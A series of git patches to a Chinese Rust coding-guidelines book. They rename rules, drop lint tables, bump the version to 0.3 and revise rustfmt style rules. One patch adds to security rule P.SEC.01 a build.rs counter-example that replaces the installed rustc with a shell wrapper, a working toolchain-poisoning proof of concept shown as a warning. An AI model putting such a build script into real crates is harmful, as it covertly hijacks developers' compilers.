b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md similarity index 70% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md index 2968c8e0..24574df2 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针 - -**【级别】** 要求 +## P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针 **【描述】** @@ -48,14 +46,4 @@ fn main() { // 输出:3851,段错误 println!("Entry: {}", *e); } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -Lint需要检测在 pub 的结构体、枚举等类型中有裸指针字段或变体,对开发者发出警告,要注意考虑其安全性 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md similarity index 73% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md index b16dd51f..1b910e2a 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.05 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法 - -**【级别】** 建议 +## P.UNS.SAS.07 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法 **【描述】** @@ -32,9 +30,3 @@ pub unsafe fn io_read_u32() -> Result { } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md similarity index 85% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md index 4e3b51fd..773b5039 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.06 函数参数是不可变借用的时候,返回值不应该是可变借用 - -**【级别】** 建议 +## P.UNS.SAS.08 函数参数是不可变借用的时候,返回值不应该是可变借用 **【描述】** @@ -55,11 +53,4 @@ pub unsafe fn data_unchecked_mut(&self) -> &mut [u8] { let def = definition.as_ref(); slice::from_raw_parts_mut(def.base, def.current_length.try_into().unwrap()) } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md similarity index 87% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md index d2bb2f9c..266723a4 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 - -**【级别】** 必须 +## G.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 **【描述】** @@ -71,11 +69,4 @@ pub unsafe fn unwrap_unchecked(self) -> T { None => unsafe { hint::unreachable_unchecked() }, } } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/union.md b/src/safe-guides/coding_practice/unsafe_rust/union.md index 23fd8106..b9cc38d8 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/union.md +++ b/src/safe-guides/coding_practice/unsafe_rust/union.md @@ -8,5 +8,5 @@ Union 是没有 tag 的 Enum,Enum 是有 tag 的Union 。 ## 列表 -- [G.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./union/G.UNS.UNI.01.md) -- [G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./union/G.UNS.UNI.02.md) +- [P.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./union/P.UNS.UNI.01.md) +- [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./union/P.UNS.UNI.02.md) diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md b/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md deleted file mode 100644 index 21bce2a9..00000000 --- a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md +++ /dev/null @@ -1,40 +0,0 @@ -## G.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union - -**【级别】** 要求 - -**【描述】** - -Rust 支持 Union 就是为了调用 C 接口。如果不是 FFi ,就避免使用 Union。 - -一般情况下请使用 枚举 或 结构体代替。 - -使用 Copy 类型的值和 `ManuallyDrop` 来初始化 Union 的变体,不需要使用 Unsafe 块。 - -**【反例】** - -```rust -union MyUnion { - f1: u32, - f2: f32, -} -``` - -**【正例】** - -```rust -#[repr(C)] -union MyUnion { - f1: u32, - f2: f32, -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -这条规则如果需要定制 Lint,则可以检测 Union 联合体上方是否有 `#[repr(C)]`属性定义与C兼容的数据布局,如果没有则给予警告。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md new file mode 100644 index 00000000..55bdc4b1 --- /dev/null +++ b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md @@ -0,0 +1,28 @@ +## P.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union + +**【描述】** + +Rust 支持 Union 就是为了调用 C 接口。如果不是 FFi ,就避免使用 Union。 + +一般情况下请使用 枚举 或 结构体代替。 + +使用 Copy 类型的值和 `ManuallyDrop` 来初始化 Union 的变体,不需要使用 Unsafe 块。 + +**【反例】** + +```rust +union MyUnion { + f1: u32, + f2: f32, +} +``` + +**【正例】** + +```rust +#[repr(C)] +union MyUnion { + f1: u32, + f2: f32, +} +``` diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md similarity index 62% rename from src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md rename to src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md index 13aa26a6..02d207bc 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md @@ -1,6 +1,4 @@ -## G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内 - -**【级别】** 要求 +## P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内 **【描述】** @@ -23,13 +21,3 @@ fn test() { assert_eq!(unsafe { u.f1 }, 5); } ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测函数内同一个联合体实例的不同变体被用于不同的生命周期内。 From 91f485810342fe79ce7848d4635566bfc4dbf684 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:06:50 +0800 Subject: [PATCH 02/10] V0.3: modify README --- README.md | 2 +- src/overview.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b359e623..4cbe0131 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) ,改进内容参考 [Changelog](./Changelog.md)。 -- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ,改进内容参考 [Changelog](./Changelog.md)。 +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) ,改进内容参考 [Changelog](./Changelog.md)。 ## 介绍 diff --git a/src/overview.md b/src/overview.md index 5f765e73..88d4ef32 100644 --- a/src/overview.md +++ b/src/overview.md @@ -4,7 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) -- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) ## 详细 From 52feb989c9060db40ab3c83a1c5cc1dc340f37b6 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:11:27 +0800 Subject: [PATCH 03/10] update Version to 0.3 --- book.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/book.toml b/book.toml index f655176b..7d79fe19 100644 --- a/book.toml +++ b/book.toml @@ -3,7 +3,7 @@ authors = ["blackanger"] language = "zh" multilingual = false src = "src" -title = "Rust 编码规范 V 0.2" +title = "Rust 编码规范 V 0.3" [build] create-missing = true From 96b04719ff727ed6f8bee9e57fd6febc325a9c1f Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:23:51 +0800 Subject: [PATCH 04/10] add code example for P.SEC.01 --- .../coding_practice/security/P.SEC.01.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/src/safe-guides/coding_practice/security/P.SEC.01.md b/src/safe-guides/coding_practice/security/P.SEC.01.md index f3eab42b..a6249a8b 100644 --- a/src/safe-guides/coding_practice/security/P.SEC.01.md +++ b/src/safe-guides/coding_practice/security/P.SEC.01.md @@ -16,3 +16,30 @@ - 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。 - 使用自己的构建工具来替代 `Cargo`,可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ,就选择不支持 `build.rs` ,就是考虑到审查起来太麻烦。 +**【反例】** + +下面是模拟 `build.rs` 投毒的示例: + +```rust +// From: https://github.com/Neutron3529/poisoning-rustc + +use std::{io::Write,fs,env,path::Path}; + +fn main() -> Result<(),Box>{ + let cargo=env::var("CARGO")?; + let cargo_dir=Path::new(&cargo); + let bin=cargo_dir.parent().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "no!"))?; + let rustc=env::var("RUSTC")?; + let orc="old_".to_string()+&rustc; + let rcloc=bin.join(rustc); + let ocloc=bin.join(orc); + if !ocloc.exists() && rcloc.exists(){ + fs::copy(&rcloc,&ocloc)?;// use copy to preserve 'x' permissions. + let mut f=fs::File::create(rcloc)?; + f.write_all(b"#!/bin/sh\necho 'The rustc has been \"poisoned\" by poisoning crate, which suggests that, your computer is not strong enough to defend such attack' > /tmp/rustc_infected\necho \"If you're using Linux, your rustc perhaps works just fine\" >> /tmp/rustc_infected\necho \"but windows users may suffer from executing a linux-only script.\" >> /tmp/rustc_infected\nexec ")?; + f.write_all(ocloc.to_str().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "oh no!"))?.as_bytes())?; + f.write_all(b" $*")? + } + Ok(()) +} +``` \ No newline at end of file From 98e4cbc31e9f00c25663f87f7ec41ae2d81e3378 Mon Sep 17 00:00:00 2001 From: blackanger Date: Fri, 25 Mar 2022 23:25:09 +0800 Subject: [PATCH 05/10] modify P.SEC.01 --- README.md | 2 +- src/overview.md | 1 - src/safe-guides/coding_practice/security/P.SEC.01.md | 3 ++- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4cbe0131..a6e9c1f4 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ - [官方 | Rust Style Guide](https://github.com/rust-dev-tools/fmt-rfcs/blob/master/guide/guide.md) - [Rust's Unsafe Code Guidelines Reference](https://rust-lang.github.io/unsafe-code-guidelines/) - [法国国家信息安全局 | Rust 安全(Security)规范](https://anssi-fr.github.io/rust-guide) -- [Facebook Diem 项目 Rust 编码规范](https://developers.diem.com/docs/core/coding-guidelines/) +- [Facebook Diem 项目 Rust 编码规范(已过期)](https://developers.diem.com/docs/core/coding-guidelines/) - [Apache Teaclave 安全计算平台 | Rust 开发规范](https://teaclave.apache.org/docs/rust-guildeline/) - [PingCAP | 编码风格指南(包括 Rust 和 Go 等)](https://github.com/pingcap/style-guide) - [Google Fuchsia 操作系统 Rust 开发指南](https://fuchsia.dev/fuchsia-src/development/languages/rust) diff --git a/src/overview.md b/src/overview.md index 88d4ef32..83331c38 100644 --- a/src/overview.md +++ b/src/overview.md @@ -19,7 +19,6 @@ Rust 语言社区内其实分散着很多编码规范,下面罗列一部分公 - [官方 | Rust Style Guide](https://github.com/rust-dev-tools/fmt-rfcs/blob/master/guide/guide.md) - [Rust's Unsafe Code Guidelines Reference](https://rust-lang.github.io/unsafe-code-guidelines/) - [法国国家信息安全局 | Rust 安全(Security)规范](https://anssi-fr.github.io/rust-guide) -- [Facebook Diem 项目 Rust 编码规范](https://developers.diem.com/docs/core/coding-guidelines/) - [Apache Teaclave 安全计算平台 | Rust 开发规范](https://teaclave.apache.org/docs/rust-guildeline/) - [PingCAP | 编码风格指南(包括 Rust 和 Go 等)](https://github.com/pingcap/style-guide) - [Google Fuchsia 操作系统 Rust 开发指南](https://fuchsia.dev/fuchsia-src/development/languages/rust) diff --git a/src/safe-guides/coding_practice/security/P.SEC.01.md b/src/safe-guides/coding_practice/security/P.SEC.01.md index a6249a8b..f259815c 100644 --- a/src/safe-guides/coding_practice/security/P.SEC.01.md +++ b/src/safe-guides/coding_practice/security/P.SEC.01.md @@ -14,7 +14,8 @@ - 可以使用[`cargo-dephell`](https://github.com/mimoo/cargo-dephell)这样的工具对依赖进行分析 - 配合[whackadep](https://github.com/diem/whackadep)这样的可视化工具来管理 Rust 依赖 - 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。 -- 使用自己的构建工具来替代 `Cargo`,可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ,就选择不支持 `build.rs` ,就是考虑到审查起来太麻烦。 +- 使用自己的构建工具来替代 `Cargo`,可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ,就选择禁用 `build.rs` ,就是考虑到审查起来太麻烦。 +- 注意设置运行时进程权限,防止运行时代码投毒 **【反例】** From b906bd3ff127d31b002691167958219665d65b9e Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 31 Mar 2022 10:37:38 +0800 Subject: [PATCH 06/10] 3.30 review --- src/safe-guides/code_style/fmt.md | 36 +++--- src/safe-guides/code_style/fmt/P.FMT.01.md | 13 +- src/safe-guides/code_style/fmt/P.FMT.02.md | 10 +- src/safe-guides/code_style/fmt/P.FMT.03.md | 16 +-- src/safe-guides/code_style/fmt/P.FMT.04.md | 111 +++++------------- src/safe-guides/code_style/fmt/P.FMT.05.md | 21 ++-- src/safe-guides/code_style/fmt/P.FMT.06.md | 15 ++- src/safe-guides/code_style/fmt/P.FMT.07.md | 21 ++-- src/safe-guides/code_style/fmt/P.FMT.08.md | 16 +-- src/safe-guides/code_style/fmt/P.FMT.09.md | 16 +-- src/safe-guides/code_style/fmt/P.FMT.10.md | 12 +- src/safe-guides/code_style/fmt/P.FMT.11.md | 22 ++-- src/safe-guides/code_style/fmt/P.FMT.12.md | 17 ++- src/safe-guides/code_style/fmt/P.FMT.13.md | 18 ++- src/safe-guides/code_style/naming.md | 6 +- src/safe-guides/code_style/naming/G.NAM.01.md | 10 +- src/safe-guides/code_style/naming/G.NAM.02.md | 21 ++-- src/safe-guides/code_style/naming/P.NAM.01.md | 20 ++-- src/safe-guides/code_style/naming/P.NAM.02.md | 47 ++------ src/safe-guides/code_style/naming/P.NAM.03.md | 11 +- src/safe-guides/code_style/naming/P.NAM.04.md | 28 ++--- src/safe-guides/code_style/naming/P.NAM.05.md | 13 +- src/safe-guides/code_style/naming/P.NAM.06.md | 38 +++--- src/safe-guides/code_style/naming/P.NAM.07.md | 27 +++-- src/safe-guides/code_style/naming/P.NAM.08.md | 14 +-- src/safe-guides/code_style/naming/P.NAM.09.md | 7 +- 26 files changed, 238 insertions(+), 348 deletions(-) diff --git a/src/safe-guides/code_style/fmt.md b/src/safe-guides/code_style/fmt.md index 6e7557bc..a04d380e 100644 --- a/src/safe-guides/code_style/fmt.md +++ b/src/safe-guides/code_style/fmt.md @@ -2,30 +2,30 @@ 制定统一的编码风格,是为了提升代码的可读性,让日常代码维护和团队之间审查代码更加方便。 -Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调整代码格式的工作,提升生产力。但是,rustfmt 遵循什么样的风格规范,作为开发者应该需要了解,在编写代码的时候可以主动按这样的风格编写。 +Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调整代码格式的工作,提升生产力。但是,rustfmt 遵循什么样的风格规范,作为开发者需要了解,在编写代码的时候可以主动按这样的风格编写。 -说明:以下 `rustfmt` 配置中对应配置项如果 `Stable`为`No`,则表示该配置项不能用于 Stable Rust 下在 `rustfmt.toml` 中自定义,但其默认值会在`cargo fmt`时生效。在 Nightly Rust 下则都可以自定义。 +说明: -在 Stable Rust 下使用未稳定配置项的方法、了解配置示例及其他全局配置项说明请参阅:[Rustfmt 配置相关说明](./../Appendix/tools/rustfmt.md) 。 +对于 `rustfmt` 中未稳定的配置项(`Stable`为`No`),则表示该配置项不能在稳定版(Stable)Rust 中更改配置,但其默认值会在`cargo fmt`时生效。在 Nightly Rust 下则都可以自定义配置。 -注意: 以下规则 针对 rustfmt version 1.4.36 版本。 +如需了解在稳定版 Rust 中使用未稳定配置项的方法、配置示例及其他全局配置项说明,请参阅:[Rustfmt 配置相关说明](./../Appendix/tools/rustfmt.md) 。 ## 列表 -- [P.FMT.01 始终使用 rustfmt 进行自动格式化代码](./fmt/P.FMT.01.md) -- [P.FMT.02 缩进始终使用空格(space)而非制表符(tab)](./fmt/P.FMT.02.md) +- [P.FMT.01 使用 rustfmt 进行自动格式化代码](./fmt/P.FMT.01.md) +- [P.FMT.02 缩进使用空格(space)而非制表符(tab)](./fmt/P.FMT.02.md) - [P.FMT.03 行间距最大宽度空一行](./fmt/P.FMT.03.md) -- [P.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行](./fmt/P.FMT.04.md) +- [P.FMT.04 语言项(Item) 定义时左花括号(brace)位置应该与语言项保持同一行](./fmt/P.FMT.04.md) - [P.FMT.05 存在多个标识符时应该保持块状(Block)缩进](./fmt/P.FMT.05.md) -- [P.FMT.06 当有多行表达式操作时,操作符应该置于行首](./fmt/P.FMT.09.md) -- [P.FMT.07 枚举变体和结构体字段相互之间默认左对齐](./fmt/P.FMT.10.md) -- [P.FMT.08 多个函数参数和导入模块的布局](./fmt/P.FMT.11.md) -- [P.FMT.09 空格使用规则](./fmt/P.FMT.12.md) -- [P.FMT.10 match 分支格式](./fmt/P.FMT.14.md) -- [P.FMT.11 导入模块分组规则](./fmt/P.FMT.15.md) -- [P.FMT.12 声明宏分支格式](./fmt/P.FMT.16.md) -- [P.FMT.13 具名结构体字段初始化时字段名最好不要省略](./fmt/P.FMT.17.md) -- [P.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/P.FMT.18.md) -- [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.19.md) -- [P.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/P.FMT.20.md) \ No newline at end of file +- [P.FMT.06 当有多行表达式操作时,操作符应该置于行首](./fmt/P.FMT.06.md) +- [P.FMT.07 枚举变体和结构体字段都应左对齐](./fmt/P.FMT.07.md) +- [P.FMT.08 函数参数超过五个或导入模块个数超过四个需换行](./fmt/P.FMT.08.md) +- [P.FMT.09 不同的场景,使用不同的空格风格](./fmt/P.FMT.09.md) +- [P.FMT.10 `match` 分支应该具有良好的可读性](./fmt/P.FMT.10.md) +- [P.FMT.11 导入模块分组应该具有良好的可读性](./fmt/P.FMT.11.md) +- [P.FMT.12 声明宏分支应该具有良好的可读性](./fmt/P.FMT.12.md) +- [P.FMT.13 具名结构体字段初始化时不要省略字段名](./fmt/P.FMT.13.md) +- [P.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/P.FMT.14.md) +- [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.15.md) +- [P.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/P.FMT.16.md) \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/P.FMT.01.md b/src/safe-guides/code_style/fmt/P.FMT.01.md index c642aa6d..ea758ac5 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.01.md +++ b/src/safe-guides/code_style/fmt/P.FMT.01.md @@ -1,8 +1,8 @@ -## P.FMT.01 始终使用 rustfmt 进行自动格式化代码 +## P.FMT.01 使用 rustfmt 进行自动格式化代码 **【描述】** -应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件,即使它是空文件。这是向潜在的合作者表明你希望代码是自动格式化的。 +应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件。即使它是空文件,这是向潜在的合作者表明你希望代码是自动格式化的。 **【例外】** @@ -72,12 +72,3 @@ fn main() { } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化建议】 - -通过检测 项目 根目录下是否存在 `rustfmt.toml` 或 `.rustfmt.toml` ,如果没有该文件,则发出警告,让开发者使用 rustfmt 来格式化代码。 \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/P.FMT.02.md b/src/safe-guides/code_style/fmt/P.FMT.02.md index 00102db4..6e7e9357 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.02.md +++ b/src/safe-guides/code_style/fmt/P.FMT.02.md @@ -1,17 +1,11 @@ -## P.FMT.02 缩进始终使用空格(space)而非制表符(tab) - +## P.FMT.02 缩进使用空格(space)而非制表符(tab) **【描述】** -1. 缩进要使用 四个 空格,不要使用制表符(`\t`)代替。 -2. 通过 IDE/Editor 为缩进默认好设置值。 +缩进要使用四个空格,不要使用制表符(`\t`)代替。可以通过 IDE 或编辑器把缩进设置为四个空格。 **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明| | ------ | ---- | ---- | ---- | | [`tab_spaces`](https://rust-lang.github.io/rustfmt/#tab_spaces) | 4| yes(默认)| 缩进空格数| diff --git a/src/safe-guides/code_style/fmt/P.FMT.03.md b/src/safe-guides/code_style/fmt/P.FMT.03.md index 5d814362..d30d7db3 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.03.md +++ b/src/safe-guides/code_style/fmt/P.FMT.03.md @@ -10,12 +10,12 @@ fn foo() { println!("a"); } -// 1 -// 2 +// 不符合:空两行 +// 不符合:空两行 fn bar() { println!("b"); -// 1 -// 2 +// 不符合:空两行 +// 不符合:空两行 println!("c"); } ``` @@ -26,7 +26,7 @@ fn bar() { fn foo() { println!("a"); } -// 1 +// 符合:空一行 fn bar() { println!("b"); println!("c"); @@ -41,7 +41,7 @@ fn foo() { } fn bar() { println!("b"); - // 1 + // 符合:空一行 println!("c"); } @@ -49,10 +49,6 @@ fn bar() { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`blank_lines_lower_bound`](https://rust-lang.github.io/rustfmt/?#blank_lines_lower_bound) | 0(默认) | No| 不空行| diff --git a/src/safe-guides/code_style/fmt/P.FMT.04.md b/src/safe-guides/code_style/fmt/P.FMT.04.md index ef386220..27d23296 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.04.md +++ b/src/safe-guides/code_style/fmt/P.FMT.04.md @@ -1,43 +1,35 @@ -## P.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行 +## P.FMT.04 语言项(Item) 定义时左花括号(brace)位置应该与语言项保持同一行 **【描述】** -花括号的位置风格默认使用 `SameLineWhere`,但是也根据不同的语言项略有区别。 +为了保持代码结构的良好可读性,Rust 中定义各种语言项,包括控制结构(`if / match` 等)、函数、结构体、枚举等,要求左花括号与其定义保持同一行。 + +但是如果携带 `where`语句,则要求换行,并且`where` 子句和 `where` 关键字不在同一行。 + +`rustfmt` 提供三个配置项对不同的语言项进行格式化: + +- `brace_style` 配置项对应于大部分语言项,包括函数、结构体等,但是控制结构(`if / match`等)除外,默认值为`SameLineWhere`,代表左花括号与语言项定义保持同一行。 +- `where_single_line` 配置项对应于 `where` 语句,默认值是 `false`,表示 `where`语句的花括号是换行。 +- `control_brace_style` 配置项对应于控制结构(`if / match`等),默认值为`AlwaysSameLine`,表示左花括号与语言项定义保持同一行。 + +所以,只需要使用 `rustfmt` 默认配置即可。 **【反例】** -如果设置 `brace_style = "AlwaysNextLine"`,则: +如果设置 `brace_style = "AlwaysNextLine"`,则不符合。 ```rust +// 不符合: 左花括号与函数语言项定义未保持同一行 fn lorem() { // body } - -fn lorem(ipsum: usize) -{ - // body -} - -fn lorem(ipsum: T) -where - T: Add + Sub + Mul + Div, -{ - // body -} ``` -如果设置 `brace_style = "PreferSameLine"`,则: +如果设置 `brace_style = "PreferSameLine"`,则符合: ```rust -fn lorem() { - // body -} - -fn lorem(ipsum: usize) { - // body -} - +// 不符合: 左花括号与 where 语句 应该换行 fn lorem(ipsum: T) where T: Add + Sub + Mul + Div, { // 注意这里和 `SameLineWhere`的区别 @@ -48,30 +40,21 @@ where 结构体与枚举: -如果设置 `brace_style = "AlwaysNextLine"`,则: +如果设置 `brace_style = "AlwaysNextLine"`,则不符合: ```rust +// 不符合: 左花括号与结构体语言项定义未保持同一行 struct Lorem { ipsum: bool, } - -struct Dolor -where - T: Eq, -{ - sit: T, -} ``` -如果设置 `brace_style = "PreferSameLine"`,则: +如果设置 `brace_style = "PreferSameLine"`,则符合: ```rust -struct Lorem { - ipsum: bool, -} - +// 不符合: 左花括号与 where 语句应该换行 struct Dolor where T: Eq, { @@ -81,10 +64,11 @@ where 流程控制倾向于默认使用 `AlwaysSameLine`,即,总在同一行。因为流程控制没有`where`子句。 -如果设置 `brace_style = "AlwaysNextLine"`,则: +如果设置 `brace_style = "AlwaysNextLine"`,则不符合: ```rust fn main() { + // 不符合: 左花括号与控制结构未保持同一行 if lorem { println!("ipsum!"); @@ -96,51 +80,21 @@ fn main() { } ``` -如果设置 `brace_style = "ClosingNextLine"`,则: - -```rust -fn main() { - if lorem { - println!("ipsum!"); - } // 注意这里 if 分支结尾处,else 换行 - else { - println!("dolor!"); - } -} -``` - **【正例】** 函数: ```rust -fn lorem() { // 花括号和fn定义在同一行 +// 符合: 左花括号和 函数语言项定义在同一行 +fn lorem() { // body } -fn lorem(ipsum: usize) { // 花括号和fn定义在同一行 - // body -} - -// 当有 `where` 子句的时候,花括号换行 -// 并且,`where` 子句和 `where` 关键字不在同一行 fn lorem(ipsum: T) -where +where // 符合:`where` 子句和 `where` 关键字不在同一行 T: Add + Sub + Mul + Div, -{ - // body -} -``` - -通过配置 `where_single_line` 为 true,方可设置 `where`子句在同一行,如下: - -```rust -// 当有 `where` 子句的时候,花括号换行 -// 设置了 `where_single_line=true` ,则`where` 子句和 `where` 关键字在同一行 -fn lorem(ipsum: T) -where T: Add + Sub + Mul + Div, -{ +{ // 符合:当有 `where` 子句的时候,花括号换行 // body } ``` @@ -148,12 +102,14 @@ where T: Add + Sub + Mul + Div, 结构体与枚举 ```rust +// 符合 struct Lorem { ipsum: bool, } +// 符合 struct Dolor -where +where T: Eq, { sit: T, @@ -163,6 +119,7 @@ where 流程控制倾向于默认使用 `AlwaysSameLine`,即,总在同一行。因为流程控制没有`where`子句。 ```rust +// 符合 // "AlwaysSameLine" (default) fn main() { if lorem { @@ -175,15 +132,11 @@ fn main() { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`brace_style`](https://rust-lang.github.io/rustfmt/?#brace_style) | SameLineWhere (默认)| No| 应该与语言项保持同一行,但是 where 